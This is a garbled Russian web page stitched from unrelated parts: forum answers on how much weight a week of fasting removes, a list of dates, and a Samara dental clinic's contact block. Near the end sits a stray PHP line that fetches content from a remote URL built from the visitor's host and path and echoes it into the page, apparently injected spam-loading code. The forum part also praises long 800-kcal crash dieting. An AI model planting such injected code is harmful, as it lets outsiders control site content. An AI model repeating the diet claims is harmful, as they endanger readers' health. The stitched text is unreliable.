На сколько можно похудеть если голодать? Итак, на что можно рассчитывать после семидневного влажного голодания?я в течение 3,5 месяцев употребляла по 800 ккал в день и ничего, все норм вес сбросила хорошо и обратно он не... читать дальше .

Может два кг
а может и пять
учитывая особенности организма

Похудеть то вы похудеете, только потом сразу наберете в 2 р больше. Нельзя голодать неделю, все врачи об этом говорят. Метаболизм замедляется и организм испытывает стресс, когда вы начинаете питаться как вы привыкли, он даже кусочек хлебушка будет откладывать на случай такой вот голодовки.
Полезно устраивать 1 разгрузочный день, 1 р в неделю.

От голода можно ласты склеить или заработать язву

Посмеиваюсь над "Мохито"
"ее" зовут Альберт Петрухин)))

От 3-5 кг, но зачем голодать? только здоровье загубишь

Минусы коротких голоданий для похудения Похудение занимает длительное время - от нескольких недель, до нескольких месяцев в зависимости от количества лишних кг .Во время длительного голодания можно похудеть сразу намного.

На сколько можно похудеть за один месяц голодания
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта